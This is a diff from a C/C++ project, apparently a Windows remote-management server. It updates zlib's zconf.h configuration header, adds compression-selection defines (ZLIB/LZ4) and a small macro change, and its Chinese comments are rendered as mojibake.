LZ4_DEPRECATED("use LZ4_decompress_fast_usingDict() instead") LZ4LIB_API int LZ4_decompress_fast_withPrefix64k (const char* src, char* dst, int originalSize);
#endif /* LZ4_H_2983827168210 */
#if defined (__cplusplus)
}
#endif

Binary file not shown.

Binary file not shown.

After

Width:  |  Height:  |  Size: 326 B

Binary file not shown.

View File

@@ -5,6 +5,14 @@
#pragma once #pragma once
// <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>ZLIB
#define USING_ZLIB 1
#if !USING_ZLIB
// <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>LZ4
#define USING_LZ4 1
#endif
#ifndef _SECURE_ATL #ifndef _SECURE_ATL
#define _SECURE_ATL 1 #define _SECURE_ATL 1
#endif #endif
@@ -16,6 +24,9 @@
// <20>Ƴ<EFBFBD><C6B3>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD>MFC<46>ؼ<EFBFBD><D8BC><EFBFBD>֧<EFBFBD>֣<EFBFBD><D6A3><EFBFBD>С<EFBFBD><D0A1>̬<EFBFBD><CCAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD>С // <20>Ƴ<EFBFBD><C6B3>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD>MFC<46>ؼ<EFBFBD><D8BC><EFBFBD>֧<EFBFBD>֣<EFBFBD><D6A3><EFBFBD>С<EFBFBD><D0A1>̬<EFBFBD><CCAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD>С
#define _AFX_NO_MFC_CONTROLS_IN_DIALOGS #define _AFX_NO_MFC_CONTROLS_IN_DIALOGS
// <20>رնԻ<D5B6><D4BB><EFBFBD>ʱɾ<CAB1><C9BE><EFBFBD>Ի<EFBFBD><D4BB><EFBFBD>
#define CLOSE_DELETE_DLG 0
// <20><><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>й©<D0B9><C2A9><EFBFBD>谲װVLD<4C><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD>ʹ<EFBFBD><CDB4><EFBFBD> // <20><><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>й©<D0B9><C2A9><EFBFBD>谲װVLD<4C><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD>ʹ<EFBFBD><CDB4><EFBFBD>
#include "vld.h" #include "vld.h"
@@ -234,7 +245,7 @@ public:
#ifdef _DEBUG #ifdef _DEBUG
// <20><><EFBFBD>ܼ<EFBFBD><DCBC>㵱ǰ<E3B5B1><C7B0><EFBFBD><EFBFBD><EFBFBD>ĺ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ӡ // <20><><EFBFBD>ܼ<EFBFBD><DCBC>㵱ǰ<E3B5B1><C7B0><EFBFBD><EFBFBD><EFBFBD>ĺ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ӡ
#define AUTO_TICK(thresh) auto_tick(__FUNCTION__, thresh) #define AUTO_TICK(thresh) auto_tick TICK(__FUNCTION__, thresh)
#else #else
#define AUTO_TICK(thresh) #define AUTO_TICK(thresh)
#endif #endif

View File

@@ -1,102 +1,257 @@
/* zconf.h -- configuration of the zlib compression library /* zconf.h -- configuration of the zlib compression library
* Copyright (C) 1995-2002 Jean-loup Gailly. * Copyright (C) 1995-2016 Jean-loup Gailly, Mark Adler
* For conditions of distribution and use, see copyright notice in zlib.h * For conditions of distribution and use, see copyright notice in zlib.h
*/ */
/* @(#) $Id$ */ /* @(#) $Id$ */
#ifndef _ZCONF_H #ifndef ZCONF_H
#define _ZCONF_H #define ZCONF_H
/* /*
* If you *really* need a unique prefix for all types and library functions, * If you *really* need a unique prefix for all types and library functions,
* compile with -DZ_PREFIX. The "standard" zlib should be compiled without it. * compile with -DZ_PREFIX. The "standard" zlib should be compiled without it.
* Even better than compiling with -DZ_PREFIX would be to use configure to set
* this permanently in zconf.h using "./configure --zprefix".
*/ */
#ifdef Z_PREFIX #ifdef Z_PREFIX /* may be set to #if 1 by ./configure */
# define deflateInit_ z_deflateInit_ # define Z_PREFIX_SET
/* all linked symbols and init macros */
# define _dist_code z__dist_code
# define _length_code z__length_code
# define _tr_align z__tr_align
# define _tr_flush_bits z__tr_flush_bits
# define _tr_flush_block z__tr_flush_block
# define _tr_init z__tr_init
# define _tr_stored_block z__tr_stored_block
# define _tr_tally z__tr_tally
# define adler32 z_adler32
# define adler32_combine z_adler32_combine
# define adler32_combine64 z_adler32_combine64
# define adler32_z z_adler32_z
# ifndef Z_SOLO
# define compress z_compress
# define compress2 z_compress2
# define compressBound z_compressBound
# endif
# define crc32 z_crc32
# define crc32_combine z_crc32_combine
# define crc32_combine64 z_crc32_combine64
# define crc32_z z_crc32_z
# define deflate z_deflate # define deflate z_deflate
# define deflateEnd z_deflateEnd # define deflateBound z_deflateBound
# define inflateInit_ z_inflateInit_
# define inflate z_inflate
# define inflateEnd z_inflateEnd
# define deflateInit2_ z_deflateInit2_
# define deflateSetDictionary z_deflateSetDictionary
# define deflateCopy z_deflateCopy # define deflateCopy z_deflateCopy
# define deflateReset z_deflateReset # define deflateEnd z_deflateEnd
# define deflateGetDictionary z_deflateGetDictionary
# define deflateInit z_deflateInit
# define deflateInit2 z_deflateInit2
# define deflateInit2_ z_deflateInit2_
# define deflateInit_ z_deflateInit_
# define deflateParams z_deflateParams # define deflateParams z_deflateParams
# define deflatePending z_deflatePending
# define deflatePrime z_deflatePrime
# define deflateReset z_deflateReset
# define deflateResetKeep z_deflateResetKeep
# define deflateSetDictionary z_deflateSetDictionary
# define deflateSetHeader z_deflateSetHeader
# define deflateTune z_deflateTune
# define deflate_copyright z_deflate_copyright
# define get_crc_table z_get_crc_table
# ifndef Z_SOLO
# define gz_error z_gz_error
# define gz_intmax z_gz_intmax
# define gz_strwinerror z_gz_strwinerror
# define gzbuffer z_gzbuffer
# define gzclearerr z_gzclearerr
# define gzclose z_gzclose
# define gzclose_r z_gzclose_r
# define gzclose_w z_gzclose_w
# define gzdirect z_gzdirect
# define gzdopen z_gzdopen
# define gzeof z_gzeof
# define gzerror z_gzerror
# define gzflush z_gzflush
# define gzfread z_gzfread
# define gzfwrite z_gzfwrite
# define gzgetc z_gzgetc
# define gzgetc_ z_gzgetc_
# define gzgets z_gzgets
# define gzoffset z_gzoffset
# define gzoffset64 z_gzoffset64
# define gzopen z_gzopen
# define gzopen64 z_gzopen64
# ifdef _WIN32
# define gzopen_w z_gzopen_w
# endif
# define gzprintf z_gzprintf
# define gzputc z_gzputc
# define gzputs z_gzputs
# define gzread z_gzread
# define gzrewind z_gzrewind
# define gzseek z_gzseek
# define gzseek64 z_gzseek64
# define gzsetparams z_gzsetparams
# define gztell z_gztell
# define gztell64 z_gztell64
# define gzungetc z_gzungetc
# define gzvprintf z_gzvprintf
# define gzwrite z_gzwrite
# endif
# define inflate z_inflate
# define inflateBack z_inflateBack
# define inflateBackEnd z_inflateBackEnd
# define inflateBackInit z_inflateBackInit
# define inflateBackInit_ z_inflateBackInit_
# define inflateCodesUsed z_inflateCodesUsed
# define inflateCopy z_inflateCopy
# define inflateEnd z_inflateEnd
# define inflateGetDictionary z_inflateGetDictionary
# define inflateGetHeader z_inflateGetHeader
# define inflateInit z_inflateInit
# define inflateInit2 z_inflateInit2
# define inflateInit2_ z_inflateInit2_ # define inflateInit2_ z_inflateInit2_
# define inflateInit_ z_inflateInit_
# define inflateMark z_inflateMark
# define inflatePrime z_inflatePrime
# define inflateReset z_inflateReset
# define inflateReset2 z_inflateReset2
# define inflateResetKeep z_inflateResetKeep
# define inflateSetDictionary z_inflateSetDictionary # define inflateSetDictionary z_inflateSetDictionary
# define inflateSync z_inflateSync # define inflateSync z_inflateSync
# define inflateSyncPoint z_inflateSyncPoint # define inflateSyncPoint z_inflateSyncPoint
# define inflateReset z_inflateReset # define inflateUndermine z_inflateUndermine
# define compress z_compress # define inflateValidate z_inflateValidate
# define compress2 z_compress2 # define inflate_copyright z_inflate_copyright
# define inflate_fast z_inflate_fast
# define inflate_table z_inflate_table
# ifndef Z_SOLO
# define uncompress z_uncompress # define uncompress z_uncompress
# define adler32 z_adler32 # define uncompress2 z_uncompress2
# define crc32 z_crc32
# define get_crc_table z_get_crc_table
# define Byte z_Byte
# define uInt z_uInt
# define uLong z_uLong
# define Bytef z_Bytef
# define charf z_charf
# define intf z_intf
# define uIntf z_uIntf
# define uLongf z_uLongf
# define voidpf z_voidpf
# define voidp z_voidp
#endif
#if (defined(_WIN32) || defined(__WIN32__)) && !defined(WIN32)
# define WIN32
#endif
#if defined(__GNUC__) || defined(WIN32) || defined(__386__) || defined(i386)
# ifndef __32BIT__
# define __32BIT__
# endif # endif
# define zError z_zError
# ifndef Z_SOLO
# define zcalloc z_zcalloc
# define zcfree z_zcfree
# endif
# define zlibCompileFlags z_zlibCompileFlags
# define zlibVersion z_zlibVersion
/* all zlib typedefs in zlib.h and zconf.h */
# define Byte z_Byte
# define Bytef z_Bytef
# define alloc_func z_alloc_func
# define charf z_charf
# define free_func z_free_func
# ifndef Z_SOLO
# define gzFile z_gzFile
# endif
# define gz_header z_gz_header
# define gz_headerp z_gz_headerp
# define in_func z_in_func
# define intf z_intf
# define out_func z_out_func
# define uInt z_uInt
# define uIntf z_uIntf
# define uLong z_uLong
# define uLongf z_uLongf
# define voidp z_voidp
# define voidpc z_voidpc
# define voidpf z_voidpf
/* all zlib structs in zlib.h and zconf.h */
# define gz_header_s z_gz_header_s
# define internal_state z_internal_state
#endif #endif
#if defined(__MSDOS__) && !defined(MSDOS) #if defined(__MSDOS__) && !defined(MSDOS)
# define MSDOS # define MSDOS
#endif #endif
#if (defined(OS_2) || defined(__OS2__)) && !defined(OS2)
# define OS2
#endif
#if defined(_WINDOWS) && !defined(WINDOWS)
# define WINDOWS
#endif
#if defined(_WIN32) || defined(_WIN32_WCE) || defined(__WIN32__)
# ifndef WIN32
# define WIN32
# endif
#endif
#if (defined(MSDOS) || defined(OS2) || defined(WINDOWS)) && !defined(WIN32)
# if !defined(__GNUC__) && !defined(__FLAT__) && !defined(__386__)
# ifndef SYS16BIT
# define SYS16BIT
# endif
# endif
#endif
/* /*
* Compile with -DMAXSEG_64K if the alloc function cannot allocate more * Compile with -DMAXSEG_64K if the alloc function cannot allocate more
* than 64k bytes at a time (needed on systems with 16-bit int). * than 64k bytes at a time (needed on systems with 16-bit int).
*/ */
#if defined(MSDOS) && !defined(__32BIT__) #ifdef SYS16BIT
# define MAXSEG_64K # define MAXSEG_64K
#endif #endif
#ifdef MSDOS #ifdef MSDOS
# define UNALIGNED_OK # define UNALIGNED_OK
#endif #endif
#if (defined(MSDOS) || defined(_WINDOWS) || defined(WIN32)) && !defined(STDC) #ifdef __STDC_VERSION__
# define STDC
#endif
#if defined(__STDC__) || defined(__cplusplus) || defined(__OS2__)
# ifndef STDC # ifndef STDC
# define STDC # define STDC
# endif # endif
# if __STDC_VERSION__ >= 199901L
# ifndef STDC99
# define STDC99
# endif
# endif
#endif
#if !defined(STDC) && (defined(__STDC__) || defined(__cplusplus))
# define STDC
#endif
#if !defined(STDC) && (defined(__GNUC__) || defined(__BORLANDC__))
# define STDC
#endif
#if !defined(STDC) && (defined(MSDOS) || defined(WINDOWS) || defined(WIN32))
# define STDC
#endif
#if !defined(STDC) && (defined(OS2) || defined(__HOS_AIX__))
# define STDC
#endif
#if defined(__OS400__) && !defined(STDC) /* iSeries (formerly AS/400). */
# define STDC
#endif #endif
#ifndef STDC #ifndef STDC
# ifndef const /* cannot use !defined(STDC) && !defined(const) on Mac */ # ifndef const /* cannot use !defined(STDC) && !defined(const) on Mac */
# define const # define const /* note: need a more gentle solution here */
# endif # endif
#endif #endif
/* Some Mac compilers merge all .h files incorrectly: */ #if defined(ZLIB_CONST) && !defined(z_const)
#if defined(__MWERKS__) || defined(applec) ||defined(THINK_C) ||defined(__SC__) # define z_const const
# define NO_DUMMY_DECL #else
# define z_const
#endif #endif
/* Old Borland C incorrectly complains about missing returns: */ #ifdef Z_SOLO
#if defined(__BORLANDC__) && (__BORLANDC__ < 0x500) typedef unsigned long z_size_t;
# define NEED_DUMMY_RETURN #else
# define z_longlong long long
# if defined(NO_SIZE_T)
typedef unsigned NO_SIZE_T z_size_t;
# elif defined(STDC)
# include <stddef.h>
typedef size_t z_size_t;
# else
typedef unsigned long z_size_t;
# endif
# undef z_longlong
#endif #endif
/* Maximum value for memLevel in deflateInit2 */ /* Maximum value for memLevel in deflateInit2 */
#ifndef MAX_MEM_LEVEL #ifndef MAX_MEM_LEVEL
# ifdef MAXSEG_64K # ifdef MAXSEG_64K
@@ -124,7 +279,7 @@
Of course this will generally degrade compression (there's no free lunch). Of course this will generally degrade compression (there's no free lunch).
The memory requirements for inflate are (in bytes) 1 << windowBits The memory requirements for inflate are (in bytes) 1 << windowBits
that is, 32K for windowBits=15 (default value) plus a few kilobytes that is, 32K for windowBits=15 (default value) plus about 7 kilobytes
for small objects. for small objects.
*/ */
@@ -138,13 +293,22 @@
# endif # endif
#endif #endif
#ifndef Z_ARG /* function prototypes for stdarg */
# if defined(STDC) || defined(Z_HAVE_STDARG_H)
# define Z_ARG(args) args
# else
# define Z_ARG(args) ()
# endif
#endif
/* The following definitions for FAR are needed only for MSDOS mixed /* The following definitions for FAR are needed only for MSDOS mixed
* model programming (small or medium model with some far allocations). * model programming (small or medium model with some far allocations).
* This was tested only with MSC; for other MSDOS compilers you may have * This was tested only with MSC; for other MSDOS compilers you may have
* to define NO_MEMCPY in zutil.h. If you don't need the mixed model, * to define NO_MEMCPY in zutil.h. If you don't need the mixed model,
* just define FAR to be empty. * just define FAR to be empty.
*/ */
#if (defined(M_I86SM) || defined(M_I86MM)) && !defined(__32BIT__) #ifdef SYS16BIT
# if defined(M_I86SM) || defined(M_I86MM)
/* MSC small or medium model */ /* MSC small or medium model */
# define SMALL_MEDIUM # define SMALL_MEDIUM
# ifdef _MSC_VER # ifdef _MSC_VER
@@ -152,65 +316,78 @@
# else # else
# define FAR far # define FAR far
# endif # endif
#endif # endif
#if defined(__BORLANDC__) && (defined(__SMALL__) || defined(__MEDIUM__)) # if (defined(__SMALL__) || defined(__MEDIUM__))
# ifndef __32BIT__ /* Turbo C small or medium model */
# define SMALL_MEDIUM # define SMALL_MEDIUM
# ifdef __BORLANDC__
# define FAR _far # define FAR _far
# else
# define FAR far
# endif
# endif # endif
#endif #endif
/* Compile with -DZLIB_DLL for Windows DLL support */ #if defined(WINDOWS) || defined(WIN32)
#if defined(ZLIB_DLL) /* If building or using zlib as a DLL, define ZLIB_DLL.
# if defined(_WINDOWS) || defined(WINDOWS) * This is not mandatory, but it offers a little performance increase.
*/
# ifdef ZLIB_DLL
# if defined(WIN32) && (!defined(__BORLANDC__) || (__BORLANDC__ >= 0x500))
# ifdef ZLIB_INTERNAL
# define ZEXTERN extern __declspec(dllexport)
# else
# define ZEXTERN extern __declspec(dllimport)
# endif
# endif
# endif /* ZLIB_DLL */
/* If building or using zlib with the WINAPI/WINAPIV calling convention,
* define ZLIB_WINAPI.
* Caution: the standard ZLIB1.DLL is NOT compiled using ZLIB_WINAPI.
*/
# ifdef ZLIB_WINAPI
# ifdef FAR # ifdef FAR
# undef FAR # undef FAR
# endif # endif
# include <windows.h> # include <windows.h>
/* No need for _export, use ZLIB.DEF instead. */
/* For complete Windows compatibility, use WINAPI, not __stdcall. */
# define ZEXPORT WINAPI # define ZEXPORT WINAPI
# ifdef WIN32 # ifdef WIN32
# define ZEXPORTVA WINAPIV # define ZEXPORTVA WINAPIV
# else # else
# define ZEXPORTVA FAR _cdecl _export # define ZEXPORTVA FAR CDECL
# endif
# endif
# if defined (__BORLANDC__)
# if (__BORLANDC__ >= 0x0500) && defined (WIN32)
# include <windows.h>
# define ZEXPORT __declspec(dllexport) WINAPI
# define ZEXPORTRVA __declspec(dllexport) WINAPIV
# else
# if defined (_Windows) && defined (__DLL__)
# define ZEXPORT _export
# define ZEXPORTVA _export
# endif
# endif # endif
# endif # endif
#endif #endif
#if defined (__BEOS__) #if defined (__BEOS__)
# if defined (ZLIB_DLL) # ifdef ZLIB_DLL
# define ZEXTERN extern __declspec(dllexport) # ifdef ZLIB_INTERNAL
# define ZEXPORT __declspec(dllexport)
# define ZEXPORTVA __declspec(dllexport)
# else # else
# define ZEXTERN extern __declspec(dllimport) # define ZEXPORT __declspec(dllimport)
# define ZEXPORTVA __declspec(dllimport)
# endif
# endif # endif
#endif #endif
#ifndef ZEXTERN
# define ZEXTERN extern
#endif
#ifndef ZEXPORT #ifndef ZEXPORT
# define ZEXPORT # define ZEXPORT
#endif #endif
#ifndef ZEXPORTVA #ifndef ZEXPORTVA
# define ZEXPORTVA # define ZEXPORTVA
#endif #endif
#ifndef ZEXTERN
# define ZEXTERN extern
#endif
#ifndef FAR #ifndef FAR
# define FAR # define FAR
#endif #endif
#if !defined(MACOS) && !defined(TARGET_OS_MAC) #if !defined(__MACTYPES__)
typedef unsigned char Byte; /* 8 bits */ typedef unsigned char Byte; /* 8 bits */
#endif #endif
typedef unsigned int uInt; /* 16 bits or more */ typedef unsigned int uInt; /* 16 bits or more */
@@ -228,52 +405,130 @@ typedef uInt FAR uIntf;
typedef uLong FAR uLongf; typedef uLong FAR uLongf;
#ifdef STDC #ifdef STDC
typedef void const *voidpc;
typedef void FAR *voidpf; typedef void FAR *voidpf;
typedef void *voidp; typedef void *voidp;
#else #else
typedef Byte const *voidpc;
typedef Byte FAR *voidpf; typedef Byte FAR *voidpf;
typedef Byte *voidp; typedef Byte *voidp;
#endif #endif
#ifdef HAVE_UNISTD_H #if !defined(Z_U4) && !defined(Z_SOLO) && defined(STDC)
# include <sys/types.h> /* for off_t */ # include <limits.h>
# include <unistd.h> /* for SEEK_* and off_t */ # if (UINT_MAX == 0xffffffffUL)
# define z_off_t off_t # define Z_U4 unsigned
# elif (ULONG_MAX == 0xffffffffUL)
# define Z_U4 unsigned long
# elif (USHRT_MAX == 0xffffffffUL)
# define Z_U4 unsigned short
# endif
#endif #endif
#ifndef SEEK_SET
#ifdef Z_U4
typedef Z_U4 z_crc_t;
#else
typedef unsigned long z_crc_t;
#endif
#ifdef HAVE_UNISTD_H /* may be set to #if 1 by ./configure */
# define Z_HAVE_UNISTD_H
#endif
#ifdef HAVE_STDARG_H /* may be set to #if 1 by ./configure */
# define Z_HAVE_STDARG_H
#endif
#ifdef STDC
# ifndef Z_SOLO
# include <sys/types.h> /* for off_t */
# endif
#endif
#if defined(STDC) || defined(Z_HAVE_STDARG_H)
# ifndef Z_SOLO
# include <stdarg.h> /* for va_list */
# endif
#endif
#ifdef _WIN32
# ifndef Z_SOLO
# include <stddef.h> /* for wchar_t */
# endif
#endif
/* a little trick to accommodate both "#define _LARGEFILE64_SOURCE" and
* "#define _LARGEFILE64_SOURCE 1" as requesting 64-bit operations, (even
* though the former does not conform to the LFS document), but considering
* both "#undef _LARGEFILE64_SOURCE" and "#define _LARGEFILE64_SOURCE 0" as
* equivalently requesting no 64-bit operations
*/
#if defined(_LARGEFILE64_SOURCE) && -_LARGEFILE64_SOURCE - -1 == 1
# undef _LARGEFILE64_SOURCE
#endif
#if defined(__WATCOMC__) && !defined(Z_HAVE_UNISTD_H)
# define Z_HAVE_UNISTD_H
#endif
#ifndef Z_SOLO
# if defined(Z_HAVE_UNISTD_H) || defined(_LARGEFILE64_SOURCE)
# include <unistd.h> /* for SEEK_*, off_t, and _LFS64_LARGEFILE */
# ifdef VMS
# include <unixio.h> /* for off_t */
# endif
# ifndef z_off_t
# define z_off_t off_t
# endif
# endif
#endif
#if defined(_LFS64_LARGEFILE) && _LFS64_LARGEFILE-0
# define Z_LFS64
#endif
#if defined(_LARGEFILE64_SOURCE) && defined(Z_LFS64)
# define Z_LARGE64
#endif
#if defined(_FILE_OFFSET_BITS) && _FILE_OFFSET_BITS-0 == 64 && defined(Z_LFS64)
# define Z_WANT64
#endif
#if !defined(SEEK_SET) && !defined(Z_SOLO)
# define SEEK_SET 0 /* Seek from beginning of file. */ # define SEEK_SET 0 /* Seek from beginning of file. */
# define SEEK_CUR 1 /* Seek from current position. */ # define SEEK_CUR 1 /* Seek from current position. */
# define SEEK_END 2 /* Set file pointer to EOF plus "offset" */ # define SEEK_END 2 /* Set file pointer to EOF plus "offset" */
#endif #endif
#ifndef z_off_t #ifndef z_off_t
# define z_off_t long # define z_off_t long
#endif #endif
/* MVS linker does not support external names larger than 8 bytes */ #if !defined(_WIN32) && defined(Z_LARGE64)
#if defined(__MVS__) # define z_off64_t off64_t
# pragma map(deflateInit_,"DEIN") #else
# pragma map(deflateInit2_,"DEIN2") # if defined(_WIN32) && !defined(__GNUC__) && !defined(Z_SOLO)
# pragma map(deflateEnd,"DEEND") # define z_off64_t __int64
# pragma map(inflateInit_,"ININ") # else
# pragma map(inflateInit2_,"ININ2") # define z_off64_t z_off_t
# pragma map(inflateEnd,"INEND") # endif
# pragma map(inflateSync,"INSY")
# pragma map(inflateSetDictionary,"INSEDI")
# pragma map(inflate_blocks,"INBL")
# pragma map(inflate_blocks_new,"INBLNE")
# pragma map(inflate_blocks_free,"INBLFR")
# pragma map(inflate_blocks_reset,"INBLRE")
# pragma map(inflate_codes_free,"INCOFR")
# pragma map(inflate_codes,"INCO")
# pragma map(inflate_fast,"INFA")
# pragma map(inflate_flush,"INFLU")
# pragma map(inflate_mask,"INMA")
# pragma map(inflate_set_dictionary,"INSEDI2")
# pragma map(inflate_copyright,"INCOPY")
# pragma map(inflate_trees_bits,"INTRBI")
# pragma map(inflate_trees_dynamic,"INTRDY")
# pragma map(inflate_trees_fixed,"INTRFI")
# pragma map(inflate_trees_free,"INTRFR")
#endif #endif
#endif /* _ZCONF_H */ /* MVS linker does not support external names larger than 8 bytes */
#if defined(__MVS__)
#pragma map(deflateInit_,"DEIN")
#pragma map(deflateInit2_,"DEIN2")
#pragma map(deflateEnd,"DEEND")
#pragma map(deflateBound,"DEBND")
#pragma map(inflateInit_,"ININ")
#pragma map(inflateInit2_,"ININ2")
#pragma map(inflateEnd,"INEND")
#pragma map(inflateSync,"INSY")
#pragma map(inflateSetDictionary,"INSEDI")
#pragma map(compressBound,"CMBND")
#pragma map(inflate_table,"INTABL")
#pragma map(inflate_fast,"INFA")
#pragma map(inflate_copyright,"INCOPY")
#endif
#endif /* ZCONF_H */

File diff suppressed because it is too large Load Diff

BIN
server/2015Remote/zlib.lib Normal file

Binary file not shown.

File diff suppressed because it is too large Load Diff

Binary file not shown.